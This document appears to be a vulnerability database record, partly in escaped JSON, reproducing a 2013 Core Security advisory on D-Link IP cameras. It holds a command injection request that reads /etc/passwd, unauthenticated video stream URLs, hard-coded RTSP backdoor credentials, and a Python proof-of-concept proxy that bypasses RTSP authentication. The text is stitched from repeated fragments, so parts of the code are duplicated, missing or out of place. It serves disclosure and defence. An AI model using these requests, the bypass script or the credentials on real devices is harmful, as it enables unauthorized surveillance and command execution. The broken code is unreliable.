return\n\u0027\\x76\\x3d\\x30\\x0d\\x0a\\x6f\\x3d\\x43\\x56\\x2d\\x52\\x54\\x53\\x50\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x20\\x31\\x31\\x32\\x33\\x34\\x31\\x32\\x20\\x30\\x20\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x32\\x2e\\x31\\x31\\x0d\\x0a\\x73\\x3d\\x44\\x43\\x53\\x2d\\x32\\x31\\x30\\x32\\x0d\\x0a\\x63\\x3d\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x30\\x2e\\x30\\x2e\\x30\\x2e\\x30\\x0d\\x0a\\x74\\x3d\\x30\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x68\\x61\\x72\\x73\\x65\\x74\\x3a\\x53\\x68\\x69\\x66\\x74\\x5f\\x4a\\x49\\x53\\x0d\\x0a\\x61\\x3d\\x72\\x61\\x6e\\x67\\x65\\x3a\\x6e\\x70\\x74\\x3d\\x6e\\x6f\\x77\\x2d\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x2a\\x0d\\x0a\\x61\\x3d\\x65\\x74\\x61\\x67\\x3a\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x30\\x0d\\x0a\\x6d\\x3d\\x76\\x69\\x64\\x65\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x39\\x36\\x0d\\x0a\\x62\\x3d\\x41\\x53\\x3a\\x31\\x38\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x39\\x36\\x20\\x4d\\x50\\x34\\x56\\x2d\\x45\\x53\\x2f\\x39\\x30\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x31\\x0d\\x0a\\x61\\x3d\\x66\\x6d\\x74\\x70\\x3a\\x39\\x36\\x20\\x70\\x72\\x6f\\x66\\x69\\x6c\\x65\\x2d\\x6c\\x65\\x76\\x65\\x6c\\x2d\\x69\\x64\\x3d\\x31\\x3b\\x63\\x6f\\x6e\\x66\\x69\\x67\\x3d\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x35\\x30\\x39\\x30\\x30\\x30\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x31\\x32\\x30\\x30\\x30\\x43\\x34\\x38\\x38\\x42\\x41\\x39\\x38\\x35\\x31\\x34\\x30\\x34\\x33\\x43\\x31\\x34\\x34\\x33\\x46\\x3b\\x64\\x65\\x63\\x6f\\x64\\x65\\x5f\\x62\\x75\\x66\\x3d\\x37\\x36\\x38\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\\x6d\\x3d\\x61\\x75\\x64\\x69\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x30\\x20\\x50\\x43\\x4d\\x55\\x2f\\x38\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x32\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\u0027\n\n\nclass RTSPAuthByPasser():\n    DESCRIBE_REQ_HEADER = \u0027DESCRIBE rtsp://\u0027\n    UNAUTHORIZED_RESPONSE = \u0027RTSP/1.0 401 Unauthorized\u0027\n    SERVER_PORT_ARGUMENTS = \u0027server_port=\u0027\n    DEFAULT_CSEQ = 1\n    DEFAULT_SERVER_PORT_RANGE = \u00275556-5559\u0027\n\n    def __init__(self, local_port, camera):\n        self.last_describe_req = \u0027\u0027\n        self.camera = camera\n        self.local_port = local_port\n        \n    def start(self):\n        log(\u0027[!] Starting bypasser\u0027)\n        TCPTunnel(self.local_port, self.camera.address,\nself.spoof_rtsp_conn).start()\n        \n    def spoof_rtsp_conn(self, data):\n        if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:\n            self.last_describe_req = data\n        elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and\nself.last_describe_req:\n            log(\u0027[!] Unauthorized response received. Spoofing...\u0027)\n            spoofed_describe = self.camera.get_describe_data()\n            # Look for the request CSeq\n            m = re.search(\u0027.*CSeq:\\\\s*(\\\\d+?)\\r\\n.*\u0027,\nself.last_describe_req)\n            cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ\n            # Create the response\n            data = \u0027RTSP/1.0 200 OK\\r\\n\u0027\n            data+= \u0027CSeq: %s\\r\\n\u0027 % cseq\n            data+= \u0027Content-Type: application/sdp\\r\\n\u0027\n            data+= \u0027Content-Length: %d\\r\\n\u0027 % len(spoofed_describe)\n            data+= \u0027\\r\\n\u0027\n            # Attach the spoofed describe\n            data+= spoofed_describe       \n        elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:\n            # Look for the server RTP ports\n            m = re.search(\u0027.*%s\\\\s*(.+?)[;|\\r].*\u0027 %\nRTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)\n            ports = m.group(1) if m else\nRTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE\n            # For each port in the range create a UDP dispatcher\n            begin_port, end_port = map(int, ports.split(\u0027-\u0027))\n            for udp_port in xrange(begin_port, end_port + 1):\n                try:\n                    UDPDispatcher(udp_port, (self.camera.address[0],\nudp_port)).start()\n                except:\n                    pass        \n        return data\n\nif __name__ == \u0027__main__\u0027:\n    if len( sys.argv ) \u003e 1:\n        listener_port = camera_port = int(sys.argv[1])\n        camera_ip = sys.argv[2]\n        if len(sys.argv) == 4:\n            camera_port = int(sys.argv[3])\n        RTSPAuthByPasser(listener_port, DLink((camera_ip,\ncamera_port))).start()\n    else:\n        print \u0027usage: python %s [local_port] [camera_ip]\n[camera_rtsp_port]\u0027   \n-----/\n\n7.5. \n\n/-----\nusername: (any)           \npassword: ?*\n-----/\n\nAs we can see in the following dump, the submitted password is compared\nwith the string \u0027:?*\u0027 (the character \u0027:\u0027 is used for concatenation of\n\u0027username:password\u0027). This code belongs to the binary \u0027rtspd\u0027:\n\n/-----\n.text:00011468 loc_11468               ; Load from Memory\n.text:00011468 LDR     R3, [R11,#s2]\n.text:0001146C STR     R3, [R11,#var_C0] ; Store to Memory\n.text:00011470 LDR     R2, [R11,#var_C0] ; Load from Memory\n.text:00011474 LDR     R3, [R11,#var_BC] ; Load from Memory\n.text:00011478 ADD     R3, R2, R3      ; Rd = Op1 + Op2\n.text:0001147C SUB     R3, R3, #3      ; Rd = Op1 - Op2\n.text:00011480 STR     R3, [R11,#var_C0] ; Store to Memory\n.text:00011484 LDR     R0, [R11,#var_C0] ; s1\n.text:00011488 LDR     R1, =asc_1B060  ; \":?*\"      \u003c-------\n.text:0001148C MOV     R2, #3          ; n\n.text:00011490 BL      strncmp         ; Branch with Link\n.text:00011494 MOV     R3, R0          ; Rd = Op2\n.text:00011498 CMP     R3, #0          ; Set cond. codes on Op1 - Op2\n.text:0001149C BNE     loc_114BC       ; Branch\n-----/\n\n8. *Report Timeline*\n. 2013-03-19:\nCore Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20:\nD-Link team asks for a technical description of the vulnerability. 2013-03-20:\nCore sends a draft advisory with technical details and set the estimated\npublication date of the advisory for May 14th, 2013. 2013-03-20:\nVendor notifies that D-Link Corporation has an unpublished bounty\nprogram for security advisors. The bounty program requires both Core\nSecurity and D-Link to sign a memo of understanding (MoU). 2013-03-25:\nCore notifies that receiving money from vendors may bias the view of the\nreport and rejects the bounty program. 2013-03-29:\nVendor notifies that they hope to close the fix ASAP. 2013-04-08:\nVendor sends the list of vulnerable devices and the associated firmware\nand notifies that they will release patches and release notes on the\nD-Link support forum first. Then, an official public release will be\nannounced (approx. 1 month from forum post to full release). 2013-04-24:\nCore asks for a clarification regarding the D-Link release date and\nnotifies that releasing fixes to a privileged closed group and/or a\nclosed forum or list is unacceptable. 2013-04-25:\nVendor notifies that the patches are ready and scheduled for posting on\nD-Link web site over the next few days. 2013-04-26:\nCore notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29:\nAdvisory CORE-2013-0303 published. \n\n9. *References*\n\n[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. \n[2]\nhttp://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png. \n\n10. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n11. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n12. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2013 Core Security\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n13. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
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VAR-202001-0839

Vulnerability from variot - Updated: 2023-12-18 12:17

A Command Injection vulnerability exists in the /var/www/cgi-bin/rtpd.cgi script in D-Link IP Cameras DCS-3411/3430 firmware 1.02, DCS-5605/5635 1.01, DCS-1100L/1130L 1.04, DCS-1100/1130 1.03, DCS-1100/1130 1.04_US, DCS-2102/2121 1.05_RU, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.00, DCS-7410 1.00, DCS-7510 1.00, and WCS-1100 1.02, which could let a remote malicious user execute arbitrary commands through the camera’s web interface. plural D-Link IP Camera Products include OS A command injection vulnerability exists.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. There are security vulnerabilities in multiple D-Link webcam products. Multiple D-Link webcam products '/var/www/cgi-bin/rtpd.cgi' have input validation vulnerabilities that allow remote attackers to exploit vulnerabilities to submit requests similar to the following to execute arbitrary commands in the application context: http:// 192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd. Exploiting this issue could allow an attacker to execute arbitrary commands in the context of the affected device. Advisory Information

Vulnerability Information

Vulnerability Description

Multiple vulnerabilities have been found in D-Link IP cameras [1] that could allow an unauthenticated remote attacker:

[CVE-2013-1600] to access the video stream via HTTP,
[CVE-2013-1601] to access the ASCII video stream via image luminance,
[CVE-2013-1602] to access the video stream via RTSP,
[CVE-2013-1603] to bypass RTSP authentication using hard-coded credentials.
Vulnerable Packages

The following is the list of affected devices and the associated firmware (confirmed by D-Link). Other SKUs are probably affected too, but they were not checked.

[CVE-2013-1600] . DCS-2102/2121 - v1.05_RU . DCS-2102/2121 - v1.06 . DCS-2102/2121 - v1.06_FR . TESCO DCS-2102/2121 - v1.05_TESCO

[CVE-2013-1602] . ALL mentioned devices and firmware.

Vendor Information, Solutions and Workarounds

D-Link announces that all patches are ready and scheduled for posting on corporate web site for all customers [2013-04-25]. Contact D-Link for further information.

Credits

[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers Team.

[CVE-2013-1602] was discovered and researched by Martin Rocha from Core Impact Pro Team. The PoC was made by Martin Rocha with help of Juan Cotta from Core QA Team.

[CVE-2013-1603] was discovered and researched by Pablo Santamaria from Core Security Consulting Services.

The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.

Technical Description / Proof of Concept Code

7.1. The OS command injection is due to this code in 'rtpd.cgi':

/----- echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain spaces." . $conf > /dev/null 2> /dev/null eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"

/----- uname -a;cat /etc/passwd -----/ the following request can be sent to the camera web interface:

/----- http://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd -----/

7.2. Authentication Bypass

[CVE-2013-1600] The live video stream can be accessed without authentication by a remote attacker via the following request:

/----- http://192.168.1.100/upnp/asf-mp4.asf -----/

7.3. ASCII Video Stream Information Leak

[CVE-2013-1601] An ASCII output (the image luminance) of the live video stream can be accessed by a remote unauthenticated attacker via:

/----- http://192.168.1.100/md/lums.cgi -----/ The following example is the output of a coffee pot video stream [2]:

-----/

7.4. RTSP Authentication Bypass

[CVE-2013-1602] This vulnerability is triggered because:

Authentication is only present in DESCRIBE requests but not in every subsequent request.
When the RTSP session is being established, the authentication request of current session is ignored (a previously stored response is used instead). As a result, the video stream can be accessed by an unauthenticated remote attacker.

/----- import sys from socket import * from threading import Thread import time, re

LOGGING = 1

def log(s): if LOGGING: print '(%s) %s' % (time.ctime(), s)

class UDPRequestHandler(Thread): def init(self, data_to_send, recv_addr, dst_addr): Thread.init(self) self.data_to_send = data_to_send self.recv_addr = recv_addr self.dst_addr = dst_addr

def run(self):
    sender = socket(AF_INET, SOCK_DGRAM)
    sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    sender.sendto(self.data_to_send, self.dst_addr)
    response = sender.recv(1024)
    sender.sendto(response, self.recv_addr)
    sender.close()

class UDPDispatcher(Thread): dispatchers = []

def __has_dispatcher_for(self, port):
    return any([d.src_port == port for d in UDPDispatcher.dispatchers])

def __init__(self, src_port, dst_addr):
    Thread.__init__(self)
    if self.__has_dispatcher_for(src_port):
        raise Exception('There is already a dispatcher for port %d'

% src_port) self.src_port = src_port self.dst_addr = dst_addr UDPDispatcher.dispatchers.append(self)

def run(self):
    listener = socket(AF_INET, SOCK_DGRAM)
    listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    listener.bind(('', self.src_port))
    while 1:
        try:
            data, recv_addr = listener.recvfrom(1024)
            if not data: break
            UDPRequestHandler(data, recv_addr, self.dst_addr).start()
        except Exception as e:
            print e
            break        
    listener.close()
    UDPDispatcher.dispatchers.remove( self )

def run(self):
    while 1:
        try:
            data = self.source.recv(1024)
            data = self.process_data_callback(data)
            if not data: break
            self.sink.send( data )
        except Exception as e:
            log(e)
            break
    PipeThread.pipes.remove(self)

def run(self):
    while 1:
        # Wait until a new connection arises
        newsock, address = self.sock.accept()
        # Create forwarder socket
        fwd = socket(AF_INET, SOCK_STREAM)
        fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        fwd.connect(self.dst_addr)
        # Pipe them!
        PipeThread(newsock, fwd, self.process_data_callback).start()
        PipeThread(fwd, newsock, self.process_data_callback).start()

class Camera(): def init(self, address): self.address = address def get_describe_data(self): return ''

def __init__(self, local_port, camera):
    self.last_describe_req = ''
    self.camera = camera
    self.local_port = local_port

def start(self):
    log('[!] Starting bypasser')
    TCPTunnel(self.local_port, self.camera.address,

self.spoof_rtsp_conn).start()

def spoof_rtsp_conn(self, data):
    if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:
        self.last_describe_req = data
    elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and

7.5. RTSP Hard-Coded Credentials

[CVE-2013-1603] RTSP service contains hard-coded credentials that effectively serve as a backdoor, which allows remote attackers to access the RTSP video stream.

/----- username: (any)
password: ?* -----/

Report Timeline . 2013-03-19: Core Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20: D-Link team asks for a technical description of the vulnerability. 2013-03-20: Core sends a draft advisory with technical details and set the estimated publication date of the advisory for May 14th, 2013. 2013-03-20: Vendor notifies that D-Link Corporation has an unpublished bounty program for security advisors. The bounty program requires both Core Security and D-Link to sign a memo of understanding (MoU). 2013-03-25: Core notifies that receiving money from vendors may bias the view of the report and rejects the bounty program. 2013-03-29: Vendor notifies that they hope to close the fix ASAP. 2013-04-08: Vendor sends the list of vulnerable devices and the associated firmware and notifies that they will release patches and release notes on the D-Link support forum first. Then, an official public release will be announced (approx. 1 month from forum post to full release). 2013-04-24: Core asks for a clarification regarding the D-Link release date and notifies that releasing fixes to a privileged closed group and/or a closed forum or list is unacceptable. 2013-04-25: Vendor notifies that the patches are ready and scheduled for posting on D-Link web site over the next few days. 2013-04-26: Core notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29: Advisory CORE-2013-0303 published.
References

[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. [2] http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png.

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    "data": "A Command Injection vulnerability exists in the /var/www/cgi-bin/rtpd.cgi script in D-Link IP Cameras DCS-3411/3430 firmware 1.02, DCS-5605/5635 1.01, DCS-1100L/1130L 1.04, DCS-1100/1130 1.03, DCS-1100/1130 1.04_US, DCS-2102/2121 1.05_RU, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.00, DCS-7410 1.00, DCS-7510 1.00, and WCS-1100 1.02, which could let a remote malicious user execute arbitrary commands through the camera\u2019s web interface. plural D-Link IP Camera Products include OS A command injection vulnerability exists.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. There are security vulnerabilities in multiple D-Link webcam products. Multiple D-Link webcam products \u0027/var/www/cgi-bin/rtpd.cgi\u0027 have input validation vulnerabilities that allow remote attackers to exploit vulnerabilities to submit requests similar to the following to execute arbitrary commands in the application context: http:// 192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd. \nExploiting this issue could allow an  attacker to execute  arbitrary commands in the context of the affected device. *Advisory Information*\n\nTitle: D-Link IP Cameras Multiple Vulnerabilities\nAdvisory ID: CORE-2013-0303\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities\nDate published: 2013-04-29\nDate of last update: 2013-03-29\nVendors contacted: D-Link Corporation\nRelease mode: Coordinated release\n\n2. *Vulnerability Information*\n\nClass: OS command injection [CWE-78], Authentication issues [CWE-287],\nInformation leak through GET request [CWE-598], Authentication issues\n[CWE-287], Use of hard-coded credentials [CWE-798]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602,\nCVE-2013-1603\n\n3. *Vulnerability Description*\n\nMultiple vulnerabilities have been found in D-Link IP cameras [1] that\ncould allow an unauthenticated remote attacker:\n\n   1. [CVE-2013-1600] to access the video stream via HTTP,\n   3. [CVE-2013-1601] to access the ASCII video stream via image luminance,\n   4. [CVE-2013-1602] to access the video stream via RTSP,\n   5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded\ncredentials. \n\n4. *Vulnerable Packages*\n\nThe following is the list of affected devices and the associated\nfirmware (confirmed by D-Link). Other SKUs are probably affected too,\nbut they were not checked. \n\n[CVE-2013-1599]\n   . DCS-3411/3430 - firmware v1.02\n   . DCS-5605/5635 - v1.01\n   . DCS-1100L/1130L - v1.04\n   . DCS-1100/1130 - v1.03\n   . DCS-1100/1130 - v1.04_US\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-3410 - v1.02\n   . DCS-5230 - v1.02\n   . DCS-5230L - v1.02\n   . DCS-6410 - v1.00\n   . DCS-7410 - v1.00\n   . DCS-7510 - v1.00\n   . WCS-1100 - v1.02\n\n[CVE-2013-1600]\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-2102/2121 - v1.06\n   . DCS-2102/2121 - v1.06_FR\n   . TESCO DCS-2102/2121 - v1.05_TESCO\n\n[CVE-2013-1601] and [CVE-2013-1603]\n   . DCS-3411/3430 - v1.02\n   . DCS-5605/5635 - v1.01\n   . DCS-1100L/1130L - v1.04\n   . DCS-1100/1130 - v1.03\n   . DCS-1100/1130 - v1.04_US\n   . DCS-2102/2121 - v1.05_RU\n   . DCS-2102/2121 - v1.06\n   . DCS-2102/2121 - v1.06_FR\n   . TESCO DCS-2102/2121 - v1.05_TESCO\n   . DCS-3410 - v1.02\n   . DCS-5230 - v1.02\n   . DCS-5230L - v1.02\n   . DCS-6410 - v1.00\n   . DCS-7410 - v1.00\n   . DCS-7510 - v1.00\n   . WCS-1100 - v1.02\n\n[CVE-2013-1602]\n   . ALL mentioned devices and firmware. \n\n5. *Vendor Information, Solutions and Workarounds*\n\nD-Link announces that all patches are ready and scheduled for posting on\ncorporate web site for all customers [2013-04-25]. Contact D-Link for\nfurther information. \n\n6. *Credits*\n\n[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and\nresearched by Francisco Falcon and Nahuel Riva from Core Exploit Writers\nTeam. \n\n[CVE-2013-1602] was discovered and researched by Martin Rocha from Core\nImpact Pro Team. The PoC was made by Martin Rocha with help of Juan\nCotta from Core QA Team. \n\n[CVE-2013-1603] was discovered and researched by Pablo Santamaria from\nCore Security Consulting Services. \n\nThe publication of this advisory was coordinated by Fernando Miranda\nfrom Core Advisories Team. \n\n7. *Technical Description / Proof of Concept Code*\n\n7.1. The OS command injection is due to\nthis code in \u0027rtpd.cgi\u0027:\n\n/-----\necho \"$QUERY_STRING\" | grep -vq \u0027 \u0027 || die \"query string cannot contain\nspaces.\"\n. $conf \u003e /dev/null 2\u003e /dev/null\neval \"$(echo $QUERY_STRING | sed -e \u0027s/\u0026/ /g\u0027)\"\n\n-----/\n The first line of this snippet basically ensures that there are no\nspaces in \u0027$QUERY_STRING\u0027. The last line uses \u0027sed\u0027 to replace\nampersands \u0027\u0026\u0027 with spaces, and then call to the function \u0027eval()\u0027,\nresulting in a typical command injection. For example, in order to execute:\n\n/-----\nuname -a;cat /etc/passwd\n-----/\n the following request can be sent to the camera web interface:\n\n/-----\nhttp://192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd\n-----/\n\n\n7.2. *Authentication Bypass*\n\n[CVE-2013-1600] The live video stream can be accessed without\nauthentication by a remote attacker via the following request:\n\n/-----\nhttp://192.168.1.100/upnp/asf-mp4.asf\n-----/\n\n7.3. *ASCII Video Stream Information Leak*\n\n[CVE-2013-1601] An ASCII output (the image luminance) of the live video\nstream can be accessed by a remote unauthenticated attacker via:\n\n/-----\nhttp://192.168.1.100/md/lums.cgi\n-----/\n The following example is the output of a coffee pot video stream [2]:\n\n/-----\nO O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O . o O O o o o o o o o o o o o\nO O O O O O O O O O O O o o O O o         .   o o o o o o o o o o o o o o\nO O O O O O O O O O O O o o o o . o o o o o o o\nO O O O O O O O O O o . o O O o                               . o o o o o o\nO O O O O O O O O . o o o o o o\nO O O O O O O O . o o o o o o o o\nO O O O O O O . o O O o . o o o o o o o o o\nO O O O O O o     . O O O O O O                         . o o o o o o o o o\nO O O O O O .     O O O O O O O .             o o o o o o o o o\nO O O O O O     o O O O O O O O . o . o o o o o o o o\nO O O O O O     o O O O O O O O . o o o . o o o o o o o o\nO O O O O O     o O O O O O O o . o O O o O O . o o o o o o o\nO O O O O O .   o O O O O O O o . O O O o O O . o o o o o o\nO O O O O O . O O O O O o . O O o o O O o . o o o o o o\nO O O O O O o     O O O O O o . o O O o o O O o . o o o o o\nO O O O O O O     O O O O O . o O O o o O O o . o o o o o\nO O O O O O O .   o O O O o . o o o O o o O O o . o o o o\nO O O O O O O o   . O O O o . o o o O o o O O o . o o o o\nO O O O O O O O   . O O O . o o o O o o O O o . o o o o\nO O O O O O O O     O O O . o o o O o o O O o . o o o\nO O O O O O O O o   o O o   o o o o O o o o O o . o o o\nO O O O O O O O O   . O o   o o o o O o . o O o . o o\nO O O O O O O O O .   O o . o o o o O . o O o . o\nO O O O O O O O O o   o . o o o o o . o O o . o\nO O O O O O O O O O   . o o o . o . o O o . \no O O O O O O O O O . o o o . o . O o .    \no o O O O O O O O O o     . o o o . o . O o .                        \no o o O O O O O O O o     . o o o . o . O o .                          \n\n-----/\n\n7.4. *RTSP Authentication Bypass*\n\n[CVE-2013-1602] This vulnerability is triggered because:\n\n   1. Authentication is only present in DESCRIBE requests but not in\nevery subsequent request. \n   2. When the RTSP session is being established, the authentication\nrequest of current session is ignored (a previously stored response is\nused instead). \nAs a result, the video stream can be accessed by an unauthenticated\nremote attacker. \n\n/-----\nimport sys\nfrom socket import *\nfrom threading import Thread\nimport time, re\n\nLOGGING = 1\n\ndef log(s):\n    if LOGGING:\n        print \u0027(%s) %s\u0027 % (time.ctime(), s)\n\n\nclass UDPRequestHandler(Thread):\n    def __init__(self, data_to_send, recv_addr, dst_addr):\n        Thread.__init__(self)\n        self.data_to_send = data_to_send\n        self.recv_addr = recv_addr\n        self.dst_addr = dst_addr\n    \n    def run(self):\n        sender = socket(AF_INET, SOCK_DGRAM)\n        sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        sender.sendto(self.data_to_send, self.dst_addr)\n        response = sender.recv(1024)\n        sender.sendto(response, self.recv_addr)\n        sender.close()\n\n\nclass UDPDispatcher(Thread):\n    dispatchers = []\n    \n    def __has_dispatcher_for(self, port):\n        return any([d.src_port == port for d in UDPDispatcher.dispatchers])\n    \n    def __init__(self, src_port, dst_addr):\n        Thread.__init__(self)\n        if self.__has_dispatcher_for(src_port):\n            raise Exception(\u0027There is already a dispatcher for port %d\u0027\n% src_port)\n        self.src_port = src_port\n        self.dst_addr = dst_addr\n        UDPDispatcher.dispatchers.append(self)\n    \n    def run(self):\n        listener = socket(AF_INET, SOCK_DGRAM)\n        listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n        listener.bind((\u0027\u0027, self.src_port))\n        while 1:\n            try:\n                data, recv_addr = listener.recvfrom(1024)\n                if not data: break\n                UDPRequestHandler(data, recv_addr, self.dst_addr).start()\n            except Exception as e:\n                print e\n                break        \n        listener.close()\n        UDPDispatcher.dispatchers.remove( self )\n\n\nclass PipeThread(Thread):\n    pipes = []\n    def __init__(self, source, sink, process_data_callback=lambda x: x):\n        Thread.__init__(self)\n        self.source = source\n        self.sink = sink\n        self.process_data_callback = process_data_callback\n        PipeThread.pipes.append(self)\n\n    def run(self):\n        while 1:\n            try:\n                data = self.source.recv(1024)\n                data = self.process_data_callback(data)\n                if not data: break\n                self.sink.send( data )\n            except Exception as e:\n                log(e)\n                break\n        PipeThread.pipes.remove(self)\n\n\nclass TCPTunnel(Thread):\n    def __init__(self, src_port, dst_addr, process_data_callback=lambda\nx: x):\n        Thread.__init__(self)\n        log(\u0027[*] Redirecting: localhost:%s -\u003e %s:%s\u0027 % (src_port,\ndst_addr[0], dst_addr[1]))\n        self.dst_addr = dst_addr\n        self.process_data_callback = process_data_callback\n        # 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Spoofing...\u0027)\n            spoofed_describe = self.camera.get_describe_data()\n            # Look for the request CSeq\n            m = re.search(\u0027.*CSeq:\\\\s*(\\\\d+?)\\r\\n.*\u0027,\nself.last_describe_req)\n            cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ\n            # Create the response\n            data = \u0027RTSP/1.0 200 OK\\r\\n\u0027\n            data+= \u0027CSeq: %s\\r\\n\u0027 % cseq\n            data+= \u0027Content-Type: application/sdp\\r\\n\u0027\n            data+= \u0027Content-Length: %d\\r\\n\u0027 % len(spoofed_describe)\n            data+= \u0027\\r\\n\u0027\n            # Attach the spoofed describe\n            data+= spoofed_describe       \n        elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:\n            # Look for the server RTP ports\n            m = re.search(\u0027.*%s\\\\s*(.+?)[;|\\r].*\u0027 %\nRTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)\n            ports = m.group(1) if m else\nRTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE\n            # For each port in the range create a UDP dispatcher\n            begin_port, end_port = map(int, ports.split(\u0027-\u0027))\n            for udp_port in xrange(begin_port, end_port + 1):\n                try:\n                    UDPDispatcher(udp_port, (self.camera.address[0],\nudp_port)).start()\n                except:\n                    pass        \n        return data\n\nif __name__ == \u0027__main__\u0027:\n    if len( sys.argv ) \u003e 1:\n        listener_port = camera_port = int(sys.argv[1])\n        camera_ip = sys.argv[2]\n        if len(sys.argv) == 4:\n            camera_port = int(sys.argv[3])\n        RTSPAuthByPasser(listener_port, DLink((camera_ip,\ncamera_port))).start()\n    else:\n        print \u0027usage: python %s [local_port] [camera_ip]\n[camera_rtsp_port]\u0027   \n-----/\n\n7.5. *RTSP Hard-Coded Credentials*\n\n[CVE-2013-1603] RTSP service contains hard-coded credentials that\neffectively serve as a backdoor, which allows remote attackers to access\nthe RTSP video stream. \n\n/-----\nusername: (any)           \npassword: ?*\n-----/\n\nAs we can see in the following dump, the submitted password is compared\nwith the string \u0027:?*\u0027 (the character 